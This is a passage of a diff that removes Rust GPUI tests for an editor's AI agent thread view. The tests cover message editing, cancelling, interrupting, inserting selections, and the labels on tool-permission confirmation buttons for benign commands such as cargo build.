-            let scroll_top = view.list_state.logical_scroll_top();
-            // Entries layout is: [User1, Assistant1, User2, Assistant2]
-            assert_eq!(scroll_top.item_ix, 2);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_scroll_to_most_recent_user_prompt_falls_back_to_bottom_without_user_messages(
-        cx: &mut TestAppContext,
-    ) {
-        init_test(cx);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::default_response(), cx).await;
-
-        // With no entries, scrolling should be a no-op and must not panic.
-        active_thread(&thread_view, cx).update(cx, |view, cx| {
-            view.scroll_to_most_recent_user_prompt(cx);
-            let scroll_top = view.list_state.logical_scroll_top();
-            assert_eq!(scroll_top.item_ix, 0);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_message_editing_cancel(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Response".into()),
-        )]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Original message to edit", window, cx);
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        let user_message_editor = thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                None
-            );
-
-            view.active_thread()
-                .map(|active| &active.read(cx).entry_view_state)
-                .as_ref()
-                .unwrap()
-                .read(cx)
-                .entry(0)
-                .unwrap()
-                .message_editor()
-                .unwrap()
-                .clone()
-        });
-
-        // Focus
-        cx.focus(&user_message_editor);
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-        });
-
-        // Edit
-        user_message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Edited message content", window, cx);
-        });
-
-        // Cancel
-        user_message_editor.update_in(cx, |_editor, window, cx| {
-            window.dispatch_action(Box::new(editor::actions::Cancel), cx);
-        });
-
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                None
-            );
-        });
-
-        user_message_editor.read_with(cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "Original message to edit");
-        });
-    }
-
-    #[gpui::test]
-    async fn test_message_doesnt_send_if_empty(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("", window, cx);
-        });
-
-        let thread = cx.read(|cx| {
-            thread_view
-                .read(cx)
-                .active_thread()
-                .unwrap()
-                .read(cx)
-                .thread
-                .clone()
-        });
-        let entries_before = cx.read(|cx| thread.read(cx).entries().len());
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| {
-            view.send(window, cx);
-        });
-        cx.run_until_parked();
-
-        let entries_after = cx.read(|cx| thread.read(cx).entries().len());
-        assert_eq!(
-            entries_before, entries_after,
-            "No message should be sent when editor is empty"
-        );
-    }
-
-    #[gpui::test]
-    async fn test_message_editing_regenerate(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Response".into()),
-        )]);
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(connection.clone()), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Original message to edit", window, cx);
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        let user_message_editor = thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                None
-            );
-            assert_eq!(
-                view.active_thread()
-                    .unwrap()
-                    .read(cx)
-                    .thread
-                    .read(cx)
-                    .entries()
-                    .len(),
-                2
-            );
-
-            view.active_thread()
-                .map(|active| &active.read(cx).entry_view_state)
-                .as_ref()
-                .unwrap()
-                .read(cx)
-                .entry(0)
-                .unwrap()
-                .message_editor()
-                .unwrap()
-                .clone()
-        });
-
-        // Focus
-        cx.focus(&user_message_editor);
-
-        // Edit
-        user_message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Edited message content", window, cx);
-        });
-
-        // Send
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("New Response".into()),
-        )]);
-
-        user_message_editor.update_in(cx, |_editor, window, cx| {
-            window.dispatch_action(Box::new(Chat), cx);
-        });
-
-        cx.run_until_parked();
-
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                None
-            );
-
-            let entries = view
-                .active_thread()
-                .unwrap()
-                .read(cx)
-                .thread
-                .read(cx)
-                .entries();
-            assert_eq!(entries.len(), 2);
-            assert_eq!(
-                entries[0].to_markdown(cx),
-                "## User\n\nEdited message content\n\n"
-            );
-            assert_eq!(
-                entries[1].to_markdown(cx),
-                "## Assistant\n\nNew Response\n\n"
-            );
-
-            let entry_view_state = view
-                .active_thread()
-                .map(|active| &active.read(cx).entry_view_state)
-                .unwrap();
-            let new_editor = entry_view_state.read_with(cx, |state, _cx| {
-                assert!(!state.entry(1).unwrap().has_content());
-                state.entry(0).unwrap().message_editor().unwrap().clone()
-            });
-
-            assert_eq!(new_editor.read(cx).text(cx), "Edited message content");
-        })
-    }
-
-    #[gpui::test]
-    async fn test_message_editing_while_generating(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(connection.clone()), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Original message to edit", window, cx);
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        let (user_message_editor, session_id) = thread_view.read_with(cx, |view, cx| {
-            let thread = view.active_thread().unwrap().read(cx).thread.read(cx);
-            assert_eq!(thread.entries().len(), 1);
-
-            let editor = view
-                .active_thread()
-                .map(|active| &active.read(cx).entry_view_state)
-                .as_ref()
-                .unwrap()
-                .read(cx)
-                .entry(0)
-                .unwrap()
-                .message_editor()
-                .unwrap()
-                .clone();
-
-            (editor, thread.session_id().clone())
-        });
-
-        // Focus
-        cx.focus(&user_message_editor);
-
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-        });
-
-        // Edit
-        user_message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Edited message content", window, cx);
-        });
-
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-        });
-
-        // Finish streaming response
-        cx.update(|_, cx| {
-            connection.send_update(
-                session_id.clone(),
-                acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk::new("Response".into())),
-                cx,
-            );
-            connection.end_turn(session_id, acp::StopReason::EndTurn);
-        });
-
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-        });
-
-        cx.run_until_parked();
-
-        // Should still be editing
-        cx.update(|window, cx| {
-            assert!(user_message_editor.focus_handle(cx).is_focused(window));
-            assert_eq!(
-                thread_view
-                    .read(cx)
-                    .active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-            assert_eq!(
-                user_message_editor.read(cx).text(cx),
-                "Edited message content"
-            );
-        });
-    }
-
-    struct GeneratingThreadSetup {
-        thread_view: Entity<AcpServerView>,
-        thread: Entity<AcpThread>,
-        message_editor: Entity<MessageEditor>,
-    }
-
-    async fn setup_generating_thread(
-        cx: &mut TestAppContext,
-    ) -> (GeneratingThreadSetup, &mut VisualTestContext) {
-        let connection = StubAgentConnection::new();
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(connection.clone()), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello", window, cx);
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        let (thread, session_id) = thread_view.read_with(cx, |view, cx| {
-            let thread = view
-                .active_thread()
-                .as_ref()
-                .unwrap()
-                .read(cx)
-                .thread
-                .clone();
-            (thread.clone(), thread.read(cx).session_id().clone())
-        });
-
-        cx.run_until_parked();
-
-        cx.update(|_, cx| {
-            connection.send_update(
-                session_id.clone(),
-                acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk::new(
-                    "Response chunk".into(),
-                )),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.status(), ThreadStatus::Generating);
-        });
-
-        (
-            GeneratingThreadSetup {
-                thread_view,
-                thread,
-                message_editor,
-            },
-            cx,
-        )
-    }
-
-    #[gpui::test]
-    async fn test_escape_cancels_generation_from_conversation_focus(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (setup, cx) = setup_generating_thread(cx).await;
-
-        let focus_handle = setup
-            .thread_view
-            .read_with(cx, |view, cx| view.focus_handle(cx));
-        cx.update(|window, cx| {
-            window.focus(&focus_handle, cx);
-        });
-
-        setup.thread_view.update_in(cx, |_, window, cx| {
-            window.dispatch_action(menu::Cancel.boxed_clone(), cx);
-        });
-
-        cx.run_until_parked();
-
-        setup.thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.status(), ThreadStatus::Idle);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_escape_cancels_generation_from_editor_focus(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (setup, cx) = setup_generating_thread(cx).await;
-
-        let editor_focus_handle = setup
-            .message_editor
-            .read_with(cx, |editor, cx| editor.focus_handle(cx));
-        cx.update(|window, cx| {
-            window.focus(&editor_focus_handle, cx);
-        });
-
-        setup.message_editor.update_in(cx, |_, window, cx| {
-            window.dispatch_action(editor::actions::Cancel.boxed_clone(), cx);
-        });
-
-        cx.run_until_parked();
-
-        setup.thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.status(), ThreadStatus::Idle);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_escape_when_idle_is_noop(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(StubAgentConnection::new()), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let thread = thread_view.read_with(cx, |view, cx| {
-            view.active_thread().unwrap().read(cx).thread.clone()
-        });
-
-        thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.status(), ThreadStatus::Idle);
-        });
-
-        let focus_handle = thread_view.read_with(cx, |view, _cx| view.focus_handle.clone());
-        cx.update(|window, cx| {
-            window.focus(&focus_handle, cx);
-        });
-
-        thread_view.update_in(cx, |_, window, cx| {
-            window.dispatch_action(menu::Cancel.boxed_clone(), cx);
-        });
-
-        cx.run_until_parked();
-
-        thread.read_with(cx, |thread, _cx| {
-            assert_eq!(thread.status(), ThreadStatus::Idle);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_interrupt(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-
-        let (thread_view, cx) =
-            setup_thread_view(StubAgentServer::new(connection.clone()), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Message 1", window, cx);
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        let (thread, session_id) = thread_view.read_with(cx, |view, cx| {
-            let thread = view.active_thread().unwrap().read(cx).thread.clone();
-
-            (thread.clone(), thread.read(cx).session_id().clone())
-        });
-
-        cx.run_until_parked();
-
-        cx.update(|_, cx| {
-            connection.send_update(
-                session_id.clone(),
-                acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk::new(
-                    "Message 1 resp".into(),
-                )),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        thread.read_with(cx, |thread, cx| {
-            assert_eq!(
-                thread.to_markdown(cx),
-                indoc::indoc! {"
-                        ## User
-
-                        Message 1
-
-                        ## Assistant
-
-                        Message 1 resp
-
-                    "}
-            )
-        });
-
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Message 2", window, cx);
-        });
-        active_thread(&thread_view, cx)
-            .update_in(cx, |view, window, cx| view.interrupt_and_send(window, cx));
-
-        cx.update(|_, cx| {
-            // Simulate a response sent after beginning to cancel
-            connection.send_update(
-                session_id.clone(),
-                acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk::new("onse".into())),
-                cx,
-            );
-        });
-
-        cx.run_until_parked();
-
-        // Last Message 1 response should appear before Message 2
-        thread.read_with(cx, |thread, cx| {
-            assert_eq!(
-                thread.to_markdown(cx),
-                indoc::indoc! {"
-                        ## User
-
-                        Message 1
-
-                        ## Assistant
-
-                        Message 1 response
-
-                        ## User
-
-                        Message 2
-
-                    "}
-            )
-        });
-
-        cx.update(|_, cx| {
-            connection.send_update(
-                session_id.clone(),
-                acp::SessionUpdate::AgentMessageChunk(acp::ContentChunk::new(
-                    "Message 2 response".into(),
-                )),
-                cx,
-            );
-            connection.end_turn(session_id.clone(), acp::StopReason::EndTurn);
-        });
-
-        cx.run_until_parked();
-
-        thread.read_with(cx, |thread, cx| {
-            assert_eq!(
-                thread.to_markdown(cx),
-                indoc::indoc! {"
-                        ## User
-
-                        Message 1
-
-                        ## Assistant
-
-                        Message 1 response
-
-                        ## User
-
-                        Message 2
-
-                        ## Assistant
-
-                        Message 2 response
-
-                    "}
-            )
-        });
-    }
-
-    #[gpui::test]
-    async fn test_message_editing_insert_selections(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Response".into()),
-        )]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Original message to edit", window, cx)
-        });
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-        cx.run_until_parked();
-
-        let user_message_editor = thread_view.read_with(cx, |thread_view, cx| {
-            thread_view
-                .active_thread()
-                .map(|active| &active.read(cx).entry_view_state)
-                .as_ref()
-                .unwrap()
-                .read(cx)
-                .entry(0)
-                .expect("Should have at least one entry")
-                .message_editor()
-                .expect("Should have message editor")
-                .clone()
-        });
-
-        cx.focus(&user_message_editor);
-        thread_view.read_with(cx, |view, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-        });
-
-        // Ensure to edit the focused message before proceeding otherwise, since
-        // its content is not different from what was sent, focus will be lost.
-        user_message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Original message to edit with ", window, cx)
-        });
-
-        // Create a simple buffer with some text so we can create a selection
-        // that will then be added to the message being edited.
-        let (workspace, project) = thread_view.read_with(cx, |thread_view, _cx| {
-            (thread_view.workspace.clone(), thread_view.project.clone())
-        });
-        let buffer = project.update(cx, |project, cx| {
-            project.create_local_buffer("let a = 10 + 10;", None, false, cx)
-        });
-
-        workspace
-            .update_in(cx, |workspace, window, cx| {
-                let editor = cx.new(|cx| {
-                    let mut editor =
-                        Editor::for_buffer(buffer.clone(), Some(project.clone()), window, cx);
-
-                    editor.change_selections(Default::default(), window, cx, |selections| {
-                        selections.select_ranges([MultiBufferOffset(8)..MultiBufferOffset(15)]);
-                    });
-
-                    editor
-                });
-                workspace.add_item_to_active_pane(Box::new(editor), None, false, window, cx);
-            })
-            .unwrap();
-
-        thread_view.update_in(cx, |view, window, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                Some(0)
-            );
-            view.insert_selections(window, cx);
-        });
-
-        user_message_editor.read_with(cx, |editor, cx| {
-            let text = editor.editor().read(cx).text(cx);
-            let expected_text = String::from("Original message to edit with selection ");
-
-            assert_eq!(text, expected_text);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_insert_selections(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let connection = StubAgentConnection::new();
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::AgentMessageChunk(
-            acp::ContentChunk::new("Response".into()),
-        )]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-        add_to_workspace(thread_view.clone(), cx);
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Can you review this snippet ", window, cx)
-        });
-
-        // Create a simple buffer with some text so we can create a selection
-        // that will then be added to the message being edited.
-        let (workspace, project) = thread_view.read_with(cx, |thread_view, _cx| {
-            (thread_view.workspace.clone(), thread_view.project.clone())
-        });
-        let buffer = project.update(cx, |project, cx| {
-            project.create_local_buffer("let a = 10 + 10;", None, false, cx)
-        });
-
-        workspace
-            .update_in(cx, |workspace, window, cx| {
-                let editor = cx.new(|cx| {
-                    let mut editor =
-                        Editor::for_buffer(buffer.clone(), Some(project.clone()), window, cx);
-
-                    editor.change_selections(Default::default(), window, cx, |selections| {
-                        selections.select_ranges([MultiBufferOffset(8)..MultiBufferOffset(15)]);
-                    });
-
-                    editor
-                });
-                workspace.add_item_to_active_pane(Box::new(editor), None, false, window, cx);
-            })
-            .unwrap();
-
-        thread_view.update_in(cx, |view, window, cx| {
-            assert_eq!(
-                view.active_thread()
-                    .and_then(|active| active.read(cx).editing_message),
-                None
-            );
-            view.insert_selections(window, cx);
-        });
-
-        message_editor.read_with(cx, |editor, cx| {
-            let text = editor.text(cx);
-            let expected_txt = String::from("Can you review this snippet selection ");
-
-            assert_eq!(text, expected_txt);
-        })
-    }
-
-    #[gpui::test]
-    async fn test_tool_permission_buttons_terminal_with_pattern(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("terminal-1");
-        let tool_call = acp::ToolCall::new(tool_call_id.clone(), "Run `cargo build --release`")
-            .kind(acp::ToolKind::Edit);
-
-        let permission_options = ToolPermissionContext::new(
-            TerminalTool::NAME,
-            vec!["cargo build --release".to_string()],
-        )
-        .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options,
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-
-        // Disable notifications to avoid popup windows
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Run cargo build", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify the tool call is in WaitingForConfirmation state with the expected options
-        thread_view.read_with(cx, |thread_view, cx| {
-            let thread = thread_view
-                .active_thread()
-                .expect("Thread should exist")
-                .read(cx)
-                .thread
-                .clone();
-            let thread = thread.read(cx);
-
-            let tool_call = thread.entries().iter().find_map(|entry| {
-                if let acp_thread::AgentThreadEntry::ToolCall(call) = entry {
-                    Some(call)
-                } else {
-                    None
-                }
-            });
-
-            assert!(tool_call.is_some(), "Expected a tool call entry");
-            let tool_call = tool_call.unwrap();
-
-            // Verify it's waiting for confirmation
-            assert!(
-                matches!(
-                    tool_call.status,
-                    acp_thread::ToolCallStatus::WaitingForConfirmation { .. }
-                ),
-                "Expected WaitingForConfirmation status, got {:?}",
-                tool_call.status
-            );
-
-            // Verify the options count (granularity options only, no separate Deny option)
-            if let acp_thread::ToolCallStatus::WaitingForConfirmation { options, .. } =
-                &tool_call.status
-            {
-                let PermissionOptions::Dropdown(choices) = options else {
-                    panic!("Expected dropdown permission options");
-                };
-
-                assert_eq!(
-                    choices.len(),
-                    3,
-                    "Expected 3 permission options (granularity only)"
-                );
-
-                // Verify specific button labels (now using neutral names)
-                let labels: Vec<&str> = choices
-                    .iter()
-                    .map(|choice| choice.allow.name.as_ref())
-                    .collect();
-                assert!(
-                    labels.contains(&"Always for terminal"),
-                    "Missing 'Always for terminal' option"
-                );
-                assert!(
-                    labels.contains(&"Always for `cargo build` commands"),
-                    "Missing pattern option"
-                );
-                assert!(
-                    labels.contains(&"Only this time"),
-                    "Missing 'Only this time' option"
-                );
-            }
-        });
-    }
-
-    #[gpui::test]
-    async fn test_tool_permission_buttons_edit_file_with_path_pattern(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("edit-file-1");
-        let tool_call = acp::ToolCall::new(tool_call_id.clone(), "Edit `src/main.rs`")
-            .kind(acp::ToolKind::Edit);
-
-        let permission_options =
-            ToolPermissionContext::new(EditFileTool::NAME, vec!["src/main.rs".to_string()])
-                .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options,
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-
-        // Disable notifications
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Edit the main file", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify the options
-        thread_view.read_with(cx, |thread_view, cx| {
-            let thread = thread_view
-                .active_thread()
-                .expect("Thread should exist")
-                .read(cx)
-                .thread
-                .clone();
-            let thread = thread.read(cx);
-
-            let tool_call = thread.entries().iter().find_map(|entry| {
-                if let acp_thread::AgentThreadEntry::ToolCall(call) = entry {
-                    Some(call)
-                } else {
-                    None
-                }
-            });
-
-            assert!(tool_call.is_some(), "Expected a tool call entry");
-            let tool_call = tool_call.unwrap();
-
-            if let acp_thread::ToolCallStatus::WaitingForConfirmation { options, .. } =
-                &tool_call.status
-            {
-                let PermissionOptions::Dropdown(choices) = options else {
-                    panic!("Expected dropdown permission options");
-                };
-
-                let labels: Vec<&str> = choices
-                    .iter()
-                    .map(|choice| choice.allow.name.as_ref())
-                    .collect();
-                assert!(
-                    labels.contains(&"Always for edit file"),
-                    "Missing 'Always for edit file' option"
-                );
-                assert!(
-                    labels.contains(&"Always for `src/`"),
-                    "Missing path pattern option"
-                );
-            } else {
-                panic!("Expected WaitingForConfirmation status");
-            }
-        });
-    }
-
-    #[gpui::test]
-    async fn test_tool_permission_buttons_fetch_with_domain_pattern(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("fetch-1");
-        let tool_call = acp::ToolCall::new(tool_call_id.clone(), "Fetch `https://docs.rs/gpui`")
-            .kind(acp::ToolKind::Fetch);
-
-        let permission_options =
-            ToolPermissionContext::new(FetchTool::NAME, vec!["https://docs.rs/gpui".to_string()])
-                .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options,
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-
-        // Disable notifications
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Fetch the docs", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify the options
-        thread_view.read_with(cx, |thread_view, cx| {
-            let thread = thread_view
-                .active_thread()
-                .expect("Thread should exist")
-                .read(cx)
-                .thread
-                .clone();
-            let thread = thread.read(cx);
-
-            let tool_call = thread.entries().iter().find_map(|entry| {
-                if let acp_thread::AgentThreadEntry::ToolCall(call) = entry {
-                    Some(call)
-                } else {
-                    None
-                }
-            });
-
-            assert!(tool_call.is_some(), "Expected a tool call entry");
-            let tool_call = tool_call.unwrap();
-
-            if let acp_thread::ToolCallStatus::WaitingForConfirmation { options, .. } =
-                &tool_call.status
-            {
-                let PermissionOptions::Dropdown(choices) = options else {
-                    panic!("Expected dropdown permission options");
-                };
-
-                let labels: Vec<&str> = choices
-                    .iter()
-                    .map(|choice| choice.allow.name.as_ref())
-                    .collect();
-                assert!(
-                    labels.contains(&"Always for fetch"),
-                    "Missing 'Always for fetch' option"
-                );
-                assert!(
-                    labels.contains(&"Always for `docs.rs`"),
-                    "Missing domain pattern option"
-                );
-            } else {
-                panic!("Expected WaitingForConfirmation status");
-            }
-        });
-    }
-
-    #[gpui::test]
-    async fn test_tool_permission_buttons_without_pattern(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("terminal-no-pattern-1");
-        let tool_call = acp::ToolCall::new(tool_call_id.clone(), "Run `./deploy.sh --production`")
-            .kind(acp::ToolKind::Edit);
-
-        // No pattern button since ./deploy.sh doesn't match the alphanumeric pattern
-        let permission_options = ToolPermissionContext::new(
-            TerminalTool::NAME,
-            vec!["./deploy.sh --production".to_string()],
-        )
-        .build_permission_options();
-
-        let connection =
-            StubAgentConnection::new().with_permission_requests(HashMap::from_iter([(
-                tool_call_id.clone(),
-                permission_options,
-            )]));
-
-        connection.set_next_prompt_updates(vec![acp::SessionUpdate::ToolCall(tool_call)]);
-
-        let (thread_view, cx) = setup_thread_view(StubAgentServer::new(connection), cx).await;
-
-        // Disable notifications
-        cx.update(|_window, cx| {
-            AgentSettings::override_global(
-                AgentSettings {
-                    notify_when_agent_waiting: NotifyWhenAgentWaiting::Never,
-                    ..AgentSettings::get_global(cx).clone()
-                },
-                cx,
-            );
-        });
-
-        let message_editor = message_editor(&thread_view, cx);
-        message_editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Run the deploy script", window, cx);
-        });
-
-        active_thread(&thread_view, cx).update_in(cx, |view, window, cx| view.send(window, cx));
-
-        cx.run_until_parked();
-
-        // Verify only 2 options (no pattern button when command doesn't match pattern)
-        thread_view.read_with(cx, |thread_view, cx| {
-            let thread = thread_view
-                .active_thread()
-                .expect("Thread should exist")
-                .read(cx)
-                .thread
-                .clone();
-            let thread = thread.read(cx);
-
-            let tool_call = thread.entries().iter().find_map(|entry| {
-                if let acp_thread::AgentThreadEntry::ToolCall(call) = entry {
-                    Some(call)
-                } else {
-                    None
-                }
-            });
-
-            assert!(tool_call.is_some(), "Expected a tool call entry");
-            let tool_call = tool_call.unwrap();
-
-            if let acp_thread::ToolCallStatus::WaitingForConfirmation { options, .. } =
-                &tool_call.status
-            {
-                let PermissionOptions::Dropdown(choices) = options else {
-                    panic!("Expected dropdown permission options");
-                };
-
-                assert_eq!(
-                    choices.len(),
-                    2,
-                    "Expected 2 permission options (no pattern option)"
-                );
-
-                let labels: Vec<&str> = choices
-                    .iter()
-                    .map(|choice| choice.allow.name.as_ref())
-                    .collect();
-                assert!(
-                    labels.contains(&"Always for terminal"),
-                    "Missing 'Always for terminal' option"
-                );
-                assert!(
-                    labels.contains(&"Only this time"),
-                    "Missing 'Only this time' option"
-                );
-                // Should NOT contain a pattern option
-                assert!(
-                    !labels.iter().any(|l| l.contains("commands")),
-                    "Should not have pattern option"
-                );
-            } else {
-                panic!("Expected WaitingForConfirmation status");
-            }
-        });
-    }
-
-    #[gpui::test]
-    async fn test_authorize_tool_call_action_triggers_authorization(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let tool_call_id = acp::ToolCallId::new("action-test-1");
-        let tool_call =
-            acp::ToolCall::new(tool_call_id.clone(), "Run `cargo test`").kind(acp::ToolKind::Edit);
-
-        let permission_options =
-            ToolPermissionContext::new(TerminalTool::NAME, vec!["cargo test".to_string()])
-                .build_permission_options();
-
-        let connection =
